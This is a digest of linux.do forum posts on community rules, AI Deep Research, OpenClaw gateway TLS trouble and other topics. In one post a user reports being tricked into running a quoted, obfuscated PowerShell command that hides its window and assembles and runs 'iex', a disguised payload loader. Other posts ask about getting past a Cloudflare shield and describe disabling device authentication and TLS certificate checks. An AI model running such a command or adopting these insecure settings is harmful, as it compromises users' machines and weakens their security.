标题: 来自小汐的温馨提示2.0
作者: #叱咤月海鱼鱼猫
板块: #搞七捻三
编号: 1633067
帖子: https://linux.do/t/topic/1633067
时间: 2026-02-21 19:40:18
摘要:

社区启用浏览器指纹风控系统
版主说 部分插件会导致论坛风控系统无法工作，统一判断为绕过风控系统，一律封号处理，按照社区的规则因各种违反论坛使用规则导致账号被风控系统删除的，一律恢复不了啦
所以，建议请各位使用广告拦截插件的，添加个排除规则（反正社区也没啥广告）避免触发风控系统被删号哦
好像貌似有好多已经被gank了（逃）

标题: 求助：zeabur有无保活方法？
作者: #Snowflakes
板块: #搞七捻三
编号: 1633072
帖子: https://linux.do/t/topic/1633072
时间: 2026-02-21 19:42:21
摘要:

rt，zeabur有无保活方法？
刚刚收到邮件，账号要被停用，问题是我昨天刚访问了部署的服务：

标题: 佬友们，我疑似被植入木马了
作者: #吞天蛤蟆
板块: #搞七捻三
编号: 1633075
帖子: https://linux.do/t/topic/1633075
时间: 2026-02-21 19:44:54
摘要:

powershell.exe -WINdoW MInimIZ FuNctioN ulSURGiCalIfY.pICsNSWSZriRmMPRCiexkvuU {pArAM([ArraY]$Cn)$tJK=((gcs)[0].fUnCtiOnnAmE);$jW=.($tJK.SubstRiNg(24,3))$tJK.SUBstrInG(2,16); $CrI='iex';return @($asb,(.$CrI($jW)));}ulSURGiCalIfY.pICsNSWSZriRmMPRCiexkvuU;$qpTBsinlHBmriqSBiFbUJUBgyYPgKruFBEUiuwqSkVuLumNM

上面的就是他叫我复制的代码，已经被我输入并运行了，怎么办？我好怕当时没注意，后面后知后觉反应过来了，现在电脑已经断网

标题: 深入 Deep Research
作者: #yelixin_117
板块: #文档共建
编号: 1633079
帖子: https://linux.do/t/topic/1633079
时间: 2026-02-21 19:46:44
摘要:

00: 引言
timeline
    title 模型功能迭代
    2022 : 对话（ChatGPT）
         : 能回答，但来自训练数据
    2023 : 搜索增强（Perplexity）
         : 能搜索，但搜完就停
    2024-25 : Deep Research
            : 拆解、调查、反思、带源报告
    2025+ : Agents
          : 从研究到行动

Deep Research 是上面这条时间线上的一个关键转折：模型能力第一次真正匹配了人们对"帮我研究一下"的期望——不是搜一下就停，而是拆解问题、并行调查、反复深入、带着来源写出报告。
今天的前沿已经推进到 Agent，但 Deep Research 确立的核心模式——分解、迭代、反思、追溯——正是所有复杂 AI 系统的骨架。
这个系列以 LangChain 的开源实现 Open Deep Research 为参照，逐层拆解这套系统：怎么实现的、为什么这么设计、每个选择带来了什么限制。
01：从搜索到研究的距离

上周持有的一只股票跌了 15%。你打开新闻，没看到什么明显的利空。你想搞清楚为什么。

你会怎么做
你不会直接搜一下就满足。你先想了想——到底关心的是什么？是短期暴跌的触发因素，还是长期持有逻辑是否还成立？想清楚这个，你才知道接下来该查什么。
然后你开始拆解——至少分几条线去查：

宏观面：利率环境、政策变动
行业面：监管动态、竞争格局变化
公司面：财报数据、管理层变动
市场情绪：机构持仓、资金流向

你同时开始调查，每条线独立推进。
调查过程中，新的线索会出现。比如你在看机构持仓报告时，发现某个对冲基金在三周前开始减仓——这本身不是答案，但它指向了一个新的方向：这个基金过去的动作有什么规律？他们掌握了什么信息？
所以实际的研究过程是动态的：探索、发现、追加、再发现。结束的信号不是"时间到了"，而是"再调查下去，新发现的密度明显降低了"。
最后，把所有线索汇总，形成一个能自洽的解释。
这里有四个核心动作：明确问题方向、拆解调查线索、并行探索多条线、基于发现调整方向。

单次 AI 对话，缺少什么
在调查过程中，你当然也会用 AI 对话——查一个具体数据、确认一个事实，它做得很好。这类问题有一个明确的答案，找到就完了，我们可以称之为点状问题。
但"这只股票为什么跌了"不是点状问题。它没有固定终点，每找到一条线索，它指向另一条需要追的线——调查本身在生长。这是一个网状问题。大多数真正有价值的研究问题，都是网状的。
如果你直接把一个网状问题扔给 AI 对话，指望它给你一份有深度的分析报告，你会发现四个明显的缺失：


❶ 没问你关心什么

表现：AI 直接按自己的理解跑下去，不会先确认你的关注点
结果：你关心的是短期触发因素还是长期趋势？是评估风险还是寻找机会？不同方向意味着完全不同的调查路径，但 AI 替你选了一个它认为最合理的——可能根本不是你要的




❷ 没有拆解问题

表现：把一个需要拆解的网状问题当作一个问题来回答
结果：要真正回答"为什么跌了"，你需要分别调查宏观、行业、公司、市场情绪等子问题，从细节里发现线索、触发更深的推理。AI 跳过了这个拆解，直接基于字面意思生成整体回答，覆盖面取决于模型碰巧想到了哪些方向




❸ 搜了一圈就停了

表现：搜了几条信息，生成回答，结束
结果：它不会在看到第一批结果后，意识到"机构减仓这条线索值得深挖"，然后真的去追，再基于新发现调整判断。你拿到的是一个静态的汇总，不是一个动态的调查




❹ 没法验证

表现：回答里可能提到"某机构近期减持了该股票"，但没有来源、没有出处
结果：是上周的数据还是半年前的？是真实信息还是模型编的？你无法区分



这四个缺失不是模型不够聪明。它们是工作流结构的缺失：没有确认意图的环节、没有拆解问题的步骤、没有追加调查的循环、没有锚定到外部数据源的机制。

Deep Research：从涌现到标配
2024 年 12 月，Google 率先在 Gemini 中上线 Deep Research。两个月内，OpenAI、Perplexity、xAI 相继跟进；2025 年 4 月 Anthropic 也加入。半年之内，Deep Research 从一个新概念变成了主流 AI 平台的标配功能。
它们的名字不同，交互界面不同，背后的逻辑却高度相似——因为它们都在解决同一个结构问题。
这不是巧合。它们共同对齐的，正是你在上一节做的那些事。
对应关系很直接。下面这张流程图展示了 Deep Research 系统的典型工作链路：
graph TB
    A[用户提问] --> B[主动澄清<br/>与用户对齐意图]
    B --> C[生成结构化研究计划]
    C --> D[Orchestrator<br/>拆解并分配子任务]
    D --> E[多路并行搜索与阅读]
    E --> F{Orchestrator 反思<br/>信息是否充分？}
    F -->|不充分| D
    F -->|充分| G[来源追踪<br/>逐条标注出处]
    G --> H[综合生成报告]

从这个映射中可以提炼出四个关键机制，它们是 Deep Research 区别于单次 AI 对话的核心：




机制
作用
对应你的做法




主动澄清
确认问题边界
你先想清楚到底关心什么


问题拆解
将问题分解为可独立调查的子任务
你拆出宏观、行业、公司等多条线


反思循环
评估进展，决定继续还是收尾
你根据新发现调整方向


来源追踪
确保每条结论可验证
你记录每条信息的出处




打开盒子
上面描述的都是从外部能观察到的行为——四个机制、一套流程。但一个自然的问题是：它内部到底怎么运转的？这些机制是怎么用代码实现的？实现过程中做了哪些取舍？
各家 Deep Research 都是闭源的黑盒。但 LangChain 的 Open Deep Research 是完全开源的。后续几篇，我们以它为参照，逐层拆解这套系统——怎么实现的、为什么这么设计、每个选择带来了什么取舍。

标题: 访问天数为什么没加
作者: #yiday
板块: #开发调优
编号: 1633081
帖子: https://linux.do/t/topic/1633081
时间: 2026-02-21 19:47:11
摘要:

标题: 笑了，Gemini出现豆包的水印
作者: #szz
板块: #搞七捻三
编号: 1633086
帖子: https://linux.do/t/topic/1633086
时间: 2026-02-21 19:48:18
摘要:

然后seedance2.0生成的视频右下角有颗星星

标题: 除了5g黄金，1块钱的概率竟然才是最小的?
作者: #欣欣|林可欣
板块: #搞七捻三
编号: 1633097
帖子: https://linux.do/t/topic/1633097
时间: 2026-02-21 19:55:54
摘要:

有点逆天了你

所以机械键盘，游戏手柄，电竞耳机不值1块钱吗

标题: 马斯克：推特公司 曾在男厕所 放置 女性卫生巾 给男性用，我收购后它取消了这件事。
作者: #PSP
板块: #前沿快讯
编号: 1633104
帖子: https://linux.do/t/topic/1633104
时间: 2026-02-21 19:59:44
摘要:

标题: 想在openclaw上部署一个脚本，但是无法实现
作者: #yud25007
板块: #搞七捻三
编号: 1633106
帖子: https://linux.do/t/topic/1633106
时间: 2026-02-21 20:00:48
摘要:

如图，是在VPS上部署的openclaw，但是一直有CF盾，有没有破解之道

标题: 【吐槽】被openclaw gateway的强制tls所折服
作者: #l
板块: #搞七捻三
编号: 1633107
帖子: https://linux.do/t/topic/1633107
时间: 2026-02-21 20:01:29
摘要:

我的场景比较简单，一个gateway，一个endpoint，分别部署在局域网里的两台机器上，相互连接，一直使用2026.2.15没啥问题，今天吃饱了撑的，更新了.20版本，结果爆炸了。
更新.20版本之后，连接强制需要tls，但是gateway本身又不natively支持tls，导致与gateway相连的webchat和endpoint全部下线，好吧，我重新配，使用caddy，转发https->http，还是不行，转发的https的webchat无法pairing，应该是浏览器不认自己签发的证书，导致webchat没法调用一个啥玩意生成device id（这里是AI分析的，我没确认）。但是局域网里的ip怎么美美地签发证书呢，难道一定要我暴露我的gateway到公网里弄个域名，签发一个浏览器认可的证书吗？难道我把gateway限制在局域网里不安全，暴漏到公网里就安全啦，逆天。
通过与AI友好交流，AI说它发现github里一个issue（这里我也没确认），可以通过在openclaw.json里设置一个新的config:dangerouslyDisableDeviceAuth: true ？啊？这不是脱裤子放屁，倒是咱们是安全啊，还是不安全啊，不管了先设置上吧，设置上之后，webchat可以了，但是endpoint还是连不上，痛点在于endpoint同样要信任自签证书，endpoint同时要使用wss（NODE_TLS_REJECT_UNAUTHORIZED=0 openclaw node run --tls），注意这个–tls，默认是不开启的（--tls Use TLS for the gateway connection (default: false)），不是哥们，你gateway强制tls，node默认不开tls，啊？
此时我的血压已经接近180，我不禁怀疑，难道这里有什么天才设计我没有get到，难道一个简单的强制tls蕴含着宇宙大道？难道我是弱智？难道我昨晚吃的肯德基是麦当劳？难道设置了tls能够让在局域网里的每个人能增寿500年？
气死我了，浪费我一下午！吐槽吐槽，真的是天才！

标题: 马上三级了，有没有推荐的板块
作者: #Beall Lee
板块: #搞七捻三
编号: 1633111
帖子: https://linux.do/t/topic/1633111
时间: 2026-02-21 20:03:58
摘要:

终于在过年速通三级了，有没有好看的帖子推荐spoiler